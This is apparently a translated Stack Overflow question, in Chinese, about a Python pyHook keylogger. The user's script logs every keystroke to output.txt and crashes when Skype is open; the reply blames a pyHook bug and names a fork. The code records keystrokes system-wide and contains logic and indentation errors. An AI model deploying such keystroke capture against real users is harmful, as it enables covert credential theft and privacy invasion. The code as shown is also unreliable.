pythoncom使用skype在键盘记录器上崩溃

时间:2015-11-01 17:58:17

标签: python python-3.x pyhook

这是我的源代码:

import pythoncom, pyHook, sys

def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit

elif event.Ascii !=0 or 8:
    f = open('output.txt', 'r+')
    buffer = f.read()
    f.close()
    f = open ('output.txt', 'w')
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs = ('\n')
    buffer +=(keylogs)
    f.write(buffer)
    f.close()

# return True to pass the event to other handlers
    return True

# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

每当我运行skype并输入内容时,我都会在cmd中收到此错误。

TypeError:KeyboardSwitch()缺少8个必需的位置参数:'msg','vk_code','scan_code','ascii','flags','time','hwnd'和'win_name'

我认为这与skype在其窗口名称中有非ascii字符这一事实有关,但我究竟能解决这个问题?

1 个答案:

答案 0 :(得分:0)

这实际上是由pyhook中的错误引起的。如果您感兴趣,This answer可以很好地描述它。 我不想按照建议重新编译pyHook,所以我选择使用this fork.而不是